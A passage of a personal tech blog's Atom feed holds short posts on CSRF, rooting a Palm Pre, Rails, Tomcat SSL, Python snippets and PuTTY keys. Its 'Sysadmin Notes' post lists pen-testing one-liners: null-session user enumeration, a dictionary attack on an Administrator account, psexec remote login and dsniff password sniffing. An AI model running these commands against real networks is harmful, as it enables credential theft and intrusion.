Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-5800652068591550058</id><published>2009-07-25T15:06:00.000-07:00</published><updated>2009-07-25T15:09:35.725-07:00</updated><title type='text'></title><content type='html'>&lt;blockquote&gt;The same-origin policy was designed to prevent an attacker from accessing data on a third-party site. This policy does not prevent requests from being&lt;br /&gt;sent, it only prevents an attack from reading the data returned from the third-party server. Since CSRF attacks are the result of the requests sent, the same-origin policy does not protect against CSRF attacks.&lt;/blockquote&gt;&lt;br /&gt;Great paper on Cross-Site Request Forgery: &lt;a href="http://citp.princeton.edu/csrf"&gt;http://citp.princeton.edu/csrf &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-5800652068591550058?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/5800652068591550058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/07/same-origin-policy-was-designed-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5800652068591550058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5800652068591550058'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/07/same-origin-policy-was-designed-to.html' title=''/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-4834807816720632519</id><published>2009-06-17T22:21:00.000-07:00</published><updated>2009-06-17T22:32:49.926-07:00</updated><title type='text'>Factory Picture in Palm Pre</title><content type='html'>I guess it's good that they tested the camera, I am disappointed that I didn't get a &lt;a href="http://www.geeksugar.com/1883139"&gt;picture&lt;/a&gt; of the nice person working on my Pre. Anyway, rooting the Palm Pre couldn't be easier, I think it will help them in the long run.&lt;br /&gt;&lt;br /&gt;Quick Steps as per &lt;a href="http://predev.wikidot.com/"&gt;predev wiki:&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Download the &lt;a href="http://palm.cdnetworks.net/rom/pre_p100eww/webosdoctorp100ewwsprint.jar"&gt;webOS image&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Rename this file to .zip, and extract it.&lt;/li&gt;&lt;li&gt;Untar resources/NovacomInstaller.pkg.tar.gz (tar -xzvf).&lt;/li&gt;&lt;li&gt;Run NovacomInstaller.pkg.&lt;/li&gt;&lt;li&gt;Click through the installer.&lt;/li&gt;&lt;li&gt;Put your Pre in DeveloperMode (&lt;strong&gt;upupdowndownleftrightleftrightbastart&lt;/strong&gt;)&lt;/li&gt;&lt;li&gt;Connect to your Mac via USB cable. There is no need to select a mode, as it doesn't seem to matter.&lt;/li&gt;&lt;li&gt;cd /opt/nova/bin&lt;/li&gt;&lt;li&gt;./novaterm&lt;/li&gt;&lt;li&gt;At this point you should have root.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;There you go:&lt;br /&gt;Processor    : ARMv7 Processor rev 3 (v7l)&lt;br /&gt;BogoMIPS    : 498.07&lt;br /&gt;Features    : swp half thumb fastmult vfp edsp&lt;br /&gt;CPU implementer    : 0x41&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is the first interesting thing I found so far:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ixG7kgN1NFo/SjnQvWUDbJI/AAAAAAAABhw/2sELr3dJyIE/s1600-h/img.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_ixG7kgN1NFo/SjnQvWUDbJI/AAAAAAAABhw/2sELr3dJyIE/s320/img.jpg" alt="" id="BLOGGER_PHOTO_ID_5348535544341294226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anyway, did you find a better picture?&lt;br /&gt;Look in /var/log/hwtest/ted/pics/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-4834807816720632519?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/4834807816720632519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/06/factory-picture-in-palm-pre.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4834807816720632519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4834807816720632519'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/06/factory-picture-in-palm-pre.html' title='Factory Picture in Palm Pre'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_ixG7kgN1NFo/SjnQvWUDbJI/AAAAAAAABhw/2sELr3dJyIE/s72-c/img.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-6380725624373687467</id><published>2009-05-21T18:39:00.001-07:00</published><updated>2009-05-21T18:39:57.455-07:00</updated><title type='text'>Machine Thought</title><content type='html'>As computer hardware and software have coevolved, whenever a new feature is required its implementation in both hardware and software always seems to bring the best results. Take virtualization for example, initial virtualization mechanisms were implemented in pure software models. It was not until the advent of this technology in hardware (e.g. Intel VT) that virtualization became more reliable and more efficient. Of course, software was also changed in order to accommodate this new hardware. In the current state of affairs virtualization is expanding and maturing as both hardware and software coevolve to meet the demands of its human overlords. &lt;br /&gt;&lt;br /&gt;“Machine Thought,” I believe will come in the same way, the first glimpse of intelligence will come from a software model. This model will give us insight on how complex systems work and will spawn a number of inventions in hardware that will alleviate many of the flaws that the software model will suffer from. It is through the coevolution of both hardware and software that new intelligent systems will begin to be born. This may require that the line between software and hardware be blurred even further. It may be that the current materials with which hardware is built are not sufficient for expressing the systems that we want to build. New materials may come from biological and/or chemical constructs that may eventually allow other types of computation, maybe even lead to “thought” outside the human mind.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-6380725624373687467?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/6380725624373687467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/05/machine-thought.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/6380725624373687467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/6380725624373687467'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/05/machine-thought.html' title='Machine Thought'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-4365389499140570546</id><published>2008-12-11T13:33:00.000-08:00</published><updated>2008-12-11T13:47:00.132-08:00</updated><title type='text'>Rails Woes</title><content type='html'>OK, I know I'm a bit rusty on RoR, but this is ridiculous...&lt;br /&gt;&lt;br /&gt;I guess I wouldn't have been so bad, like 4 hours wasted, if there was decent documentation. Also, I know that Rails has gone through some recent changes. But, all I wanted to do is write a simple XML-RPC application. I've done it in the past and it has been fairly painless.&lt;br /&gt;&lt;br /&gt;Here is some FYI in case you might want to do the same.&lt;br /&gt;&lt;br /&gt;ActionWebServie has been removed and "replaced" with ActiveResource. "Replaced" does not mean 'replaced' as in there is no support for XML-RPC under ActiveResource.&lt;br /&gt;&lt;br /&gt;Here is what you need to do in order to get ActionWebService working on Rails 2.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;rake rails:freeze:edge&lt;br /&gt;svn export http://dev.rubyonrails.org/svn/rails/ousted/actionwebservice/ vendor/rails/actionwebservice&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;edit environments.rb and add the following below Rails::Initializer.run:&lt;br /&gt;    config.load_paths += %W(&lt;br /&gt;      #{RAILS_ROOT}/app/apis&lt;br /&gt;      #{RAILS_ROOT}/vendor/rails/actionwebservice/lib&lt;br /&gt;    )&lt;br /&gt;&lt;br /&gt;add the following at the end of the file:&lt;br /&gt;&lt;br /&gt;require 'action_web_service'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And finally add this to test_helper.rb:&lt;br /&gt;&lt;br /&gt;require 'action_web_service/test_invoke'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-4365389499140570546?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/4365389499140570546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/12/rails-woes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4365389499140570546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4365389499140570546'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/12/rails-woes.html' title='Rails Woes'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-1917192793964753784</id><published>2008-08-28T21:35:00.000-07:00</published><updated>2008-08-28T21:46:38.086-07:00</updated><title type='text'>The people who make the best guns are not usually the people who are best at making bullet-proof vests.</title><content type='html'>While having a beer with Ed Skoudis at Defcon 16, he shared an interesting idea he has been kicking around, something like "Exploit for the sake of exploiting, the bad guys do it, why can't we... with permission of course."&lt;br /&gt;&lt;br /&gt;After the Defcon blur wore off, I followed up with him via email, I asked him if he could elaborate on that conversation, here's what he said:&lt;br /&gt;&lt;br /&gt;"Well, let me start by analogy...  The people who make the best guns are not usually the people who are best at making bullet-proof vests.  Likewise, swordsmiths are familiar with armour so they can craft their wares to slice through it, but might not be able to actually manufacture or even design armor.  Trying to maintain a career where you are the best of the best attacker and the best of the best defender is likely impossible.... at least for most of us mere mortals.  Thus, you may be able to be a better attacker by focusing must of your attention to the attack and somewhat less to the defense.  That way, you can be more lethal, mimicking the abilities of the more skilled bad guys, at least as compared to trying to maintain a 50/50 or even 30/70 balance between attack and defend like most infosec pros do.&lt;br /&gt;&lt;br /&gt;So, by having some people spend more time on the offense, even though they are not evil, we might get a better understanding of our risks from it, from an overall industry perspective.&lt;br /&gt;&lt;br /&gt;That's the idea."&lt;br /&gt;&lt;br /&gt;With that being said, I would really like to know why us pen testers always get pulled in when some box needs to be locked down. I guess it's up to us to change the culture eh.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-1917192793964753784?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/1917192793964753784/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/08/people-who-make-best-guns-are-not.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/1917192793964753784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/1917192793964753784'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/08/people-who-make-best-guns-are-not.html' title='The people who make the best guns are not usually the people who are best at making bullet-proof vests.'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-6421533678667928183</id><published>2008-06-19T20:28:00.000-07:00</published><updated>2008-06-21T14:09:06.091-07:00</updated><title type='text'>Sysadmin Notes</title><content type='html'>Pingsweep of subnet:&lt;br /&gt;&lt;blockquote&gt;# nmap -sP 10.0.0.1-255&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Get a list of users on Windows:&lt;br /&gt;&lt;blockquote&gt;&gt; net use \\x.x.x.x\ipc$ "" /USER:""&lt;br /&gt;&gt; net users&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;What is the password policy:&lt;br /&gt;&lt;blockquote&gt;&gt; net accounts&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Recover a lost password:&lt;br /&gt;&lt;blockquote&gt;&gt; enum -u Aministrator -f c:\dict.txt -D x.x.x.x&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Logon remotely:&lt;br /&gt;&lt;blockquote&gt;&gt; psexec \\x.x.x.x -u Administrator cmd.exe&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Transfer a file with netcat:&lt;br /&gt;&lt;blockquote&gt;$ nc -l -p 6969 &gt; file.txt&lt;br /&gt;$ nc somehost 6969 &lt; file.txt&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Listen for passwords flying on the subnet:&lt;br /&gt;&lt;blockquote&gt;# sudo dsniff&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Reset the root password on an old server:&lt;br /&gt;&lt;blockquote&gt;$ sshnuke 10.2.2.2 -rootpw-"Z1ON0101"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Makeshift remote desktop:&lt;br&gt;&lt;br /&gt;From server:&lt;br /&gt;&lt;blockquote&gt;vncserver&lt;/blockquote&gt;&lt;br /&gt;you will enter password and the server will start running on port 6000 or so. From client:&lt;br /&gt;&lt;blockquote&gt;xvncviewer&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-6421533678667928183?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/6421533678667928183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/06/sysadmin-notes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/6421533678667928183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/6421533678667928183'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/06/sysadmin-notes.html' title='Sysadmin Notes'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-3362320443960843535</id><published>2008-06-13T08:53:00.000-07:00</published><updated>2008-06-13T08:55:22.485-07:00</updated><title type='text'>Tomcat</title><content type='html'>Create a serlf signed SSL certificate for Tomcat.&lt;br /&gt;&lt;blockquote&gt;mkdir ssl&lt;br /&gt;cd ssl&lt;br /&gt;openssl req -new -out REQ.pem -keyout KEY.pem&lt;br /&gt;openssl req -x509 -in REQ.pem -key KEY.pem -out CERT.pem&lt;br /&gt;openssl req -verify -in REQ.pem&lt;br /&gt;openssl req -verify -in REQ.pem -key KEY.pem&lt;br /&gt;openssl req -text -in REQ.pem&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Backup old SSL key just in case something goes wrong&lt;br /&gt;&lt;blockquote&gt;mkdir old_ssl&lt;br /&gt;cp /usr/local/tomcat/.keystore old_ssl/keystore&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Stop Tomcat&lt;br /&gt;&lt;blockquote&gt;/etc/init.d/tomcat stop&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Delete the Tomcat certificate from the keystore and install new one&lt;br /&gt;&lt;blockquote&gt;sudo ln /usr/local/tomcat/.keystore /root/.keystore&lt;br /&gt;sudo /usr/java/jdk1.6.0/bin/keytool -delete -alias tomcat&lt;br /&gt;sudo /usr/java/jdk1.6.0/bin/keytool -import -v -trustcacerts -alias tomcat -file CERT.pem&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Start Tomcat&lt;br /&gt;&lt;blockquote&gt;sudo /etc/init.d/tomcat start&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-3362320443960843535?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/3362320443960843535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/06/tomcat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/3362320443960843535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/3362320443960843535'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/06/tomcat.html' title='Tomcat'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-4857837085227881679</id><published>2008-03-16T16:35:00.001-07:00</published><updated>2008-03-16T16:35:32.555-07:00</updated><title type='text'>Fun with Numbers</title><content type='html'>&lt;pre&gt;&lt;br /&gt;&gt;&gt;&gt; n = ""&lt;br /&gt;&gt;&gt;&gt; for x in range(1,10):&lt;br /&gt;...     n = n+str(x)&lt;br /&gt;...     print "%s x 8 + %d = %d" % (n,x,(int(n) * 8 + x))&lt;br /&gt;...&lt;br /&gt;1 x 8 + 1 = 9&lt;br /&gt;12 x 8 + 2 = 98&lt;br /&gt;123 x 8 + 3 = 987&lt;br /&gt;1234 x 8 + 4 = 9876&lt;br /&gt;12345 x 8 + 5 = 98765&lt;br /&gt;123456 x 8 + 6 = 987654&lt;br /&gt;1234567 x 8 + 7 = 9876543&lt;br /&gt;12345678 x 8 + 8 = 98765432&lt;br /&gt;123456789 x 8 + 9 = 987654321&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt; n = ""&lt;br /&gt;&gt;&gt;&gt; for x in range(1,10):&lt;br /&gt;...     n = n+str(x)&lt;br /&gt;...     print "%s x 9 + %d = %d" % (n,(x+1),(int(n) * 9 + x+1))&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;1 x 9 + 2 = 11&lt;br /&gt;12 x 9 + 3 = 111&lt;br /&gt;123 x 9 + 4 = 1111&lt;br /&gt;1234 x 9 + 5 = 11111&lt;br /&gt;12345 x 9 + 6 = 111111&lt;br /&gt;123456 x 9 + 7 = 1111111&lt;br /&gt;1234567 x 9 + 8 = 11111111&lt;br /&gt;12345678 x 9 + 9 = 111111111&lt;br /&gt;123456789 x 9 + 10 = 1111111111&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt; n = ""&lt;br /&gt;&gt;&gt;&gt; r = range(2,10)&lt;br /&gt;&gt;&gt;&gt; r.reverse()&lt;br /&gt;&gt;&gt;&gt; for x in r:&lt;br /&gt;...     n = n+str(x)&lt;br /&gt;...     print "%s x 9 + %d = %d" % (n,(x-2),(int(n) * 9 + (x-2)) )&lt;br /&gt;...&lt;br /&gt;9 x 9 + 7 = 88&lt;br /&gt;98 x 9 + 6 = 888&lt;br /&gt;987 x 9 + 5 = 8888&lt;br /&gt;9876 x 9 + 4 = 88888&lt;br /&gt;98765 x 9 + 3 = 888888&lt;br /&gt;987654 x 9 + 2 = 8888888&lt;br /&gt;9876543 x 9 + 1 = 88888888&lt;br /&gt;98765432 x 9 + 0 = 888888888&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-4857837085227881679?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/4857837085227881679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/03/fun-with-numbers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4857837085227881679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4857837085227881679'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/03/fun-with-numbers.html' title='Fun with Numbers'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-8328714514384470446</id><published>2008-03-13T18:38:00.000-07:00</published><updated>2008-03-19T08:13:32.882-07:00</updated><title type='text'>Square thumbnail with Python Image Library</title><content type='html'>Every once in a while someone will walk up to me and ask, "how do you make a square thumbmail using PIL (Python Image Library)"? To this I say:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;import Image&lt;br /&gt;&lt;br /&gt;THUMB_SIZE = 80, 80&lt;br /&gt;img = Image.open("someimge.jpg")&lt;br /&gt;width, height = img.size&lt;br /&gt;&lt;br /&gt;if width &gt; height:&lt;br /&gt;   delta = width - height&lt;br /&gt;   left = int(delta/2)&lt;br /&gt;   upper = 0&lt;br /&gt;   right = height + left&lt;br /&gt;   lower = height&lt;br /&gt;else:&lt;br /&gt;   delta = height - width&lt;br /&gt;   left = 0&lt;br /&gt;   upper = int(delta/2)&lt;br /&gt;   right = width&lt;br /&gt;   lower = width + upper&lt;br /&gt;&lt;br /&gt;img = img.crop((left, upper, right, lower))&lt;br /&gt;img.thumbnail(THUMB_SIZE, Image.ANTIALIAS)&lt;br /&gt;img.save("someimge-thumb.jpg")&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;They usually walk away satisfied...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-8328714514384470446?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/8328714514384470446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/03/square-thumbnail-with-python-image.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8328714514384470446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8328714514384470446'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/03/square-thumbnail-with-python-image.html' title='Square thumbnail with Python Image Library'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-2229416612501183573</id><published>2008-02-25T14:46:00.001-08:00</published><updated>2008-02-25T14:46:43.061-08:00</updated><title type='text'>Links</title><content type='html'>DVD Rip:&lt;br /&gt;http://www.makeuseof.com/tag/2-step-dvd-to-pc-or-ipod-video-conversion-using-free-software/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-2229416612501183573?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/2229416612501183573/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2008/02/links.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/2229416612501183573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/2229416612501183573'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2008/02/links.html' title='Links'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-115855483065047882</id><published>2006-09-17T21:05:00.000-07:00</published><updated>2006-09-17T22:18:00.610-07:00</updated><title type='text'>SVN Automatic login under windows: Putty &amp; TortoiseSVN</title><content type='html'>&lt;a href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fjaviergodinez.blogspot.com%2F2006%2F09%2Fsvn-automatic-login-under-windows.html&amp;title=SVN%20Automatic%20login%20under%20Windows%20Putty%20TortoiseSVN&amp;bodytext=TortoiseSVN%20is%20the%20best%20SVN%20client%20I%20have%20been%20able%20to%20find%20for%20Windows,%20at%20first%20glance,%20however,%20it%20might%20seem%20a%20bit%20annoying%20because%20it%20asks%20for%20your%20password%20for%20just%20about%20every%20operation.&amp;topic=software"&gt;&lt;img src="http://digg.com/img/badges/16x16-digg-guy.gif" width="16" height="16" alt="Digg!"/&gt;&lt;/a&gt;TortoiseSVN is the best SVN client I've been able to find for Windows, at first glance, however, it might seem a bit annoying because it asks for your password for just about every operation.&lt;br /&gt;&lt;br /&gt;In order to get rid of this annoying password popup, all we need to do is generate a public/private key using Putty and install your public key in your server. This of course assumes that you are running a SSH on your server and have already setup your SVN repository.&lt;br /&gt;&lt;br /&gt;We can generate a private/public key using Putty's Key Generator, the defaults should suffice, first generate the keys then save the private and public key. The public key will also display on the top square of Putty's keygen, copy this key in it's entirety and paste it into your server's ~/.ssh/authorized_keys2 file. &lt;br /&gt;&lt;br /&gt;We can now test this by initializing Putty's SSH client and configuring it to use the private key we generated. Under 'Connection &gt; SSH &gt; Auth' we will see an authentication parameters dialog with a field called 'Private key file for Authentication', use the browse button to find your private key file. This tells Putty to use this key to authenticate with the server, under 'Connection &gt; Data' enter in your username under 'Auto-login username'. Go back to 'Session' enter in your server address under 'Host Name' and save your session with a useful name, think of something more descriptive than 'mysession'. Click on the Open button you should be automagically logged-in.&lt;br /&gt;&lt;br /&gt;Next step is to setup SVN_SSH environment variable, right click on 'My Computer' and go to properties, 'Advanced &gt; Environment Variables', under 'System Variables', click on new and enter SVN_SSH for the variable name and 'C:\\Program Files\\TortoiseSVN\\bin\\TortoisePlink.exe' for the variable value, make sure the path is correct and using the double back lashes (\\).&lt;br /&gt;&lt;br /&gt;Now click on your 'Desktop &gt; TortoiseSVN &gt; Repo-browser', the URL should look something like this svn+ssh://mysession/path/to/svn/repo. There are a few parts to note here, we are asking for SVN over SSH (svn+ssh), we are using the session name you saved under Putty's 'Saved Sessions' dialog, and the full path to the svn repository.&lt;br /&gt;&lt;br /&gt;http://www.chiark.greenend.org.uk/~sgtatham/putty/&lt;br /&gt;http://tortoisesvn.tigris.org/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-115855483065047882?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/115855483065047882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/svn-automatic-login-under-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115855483065047882'/><link rel='self' type='application/atom+xml' 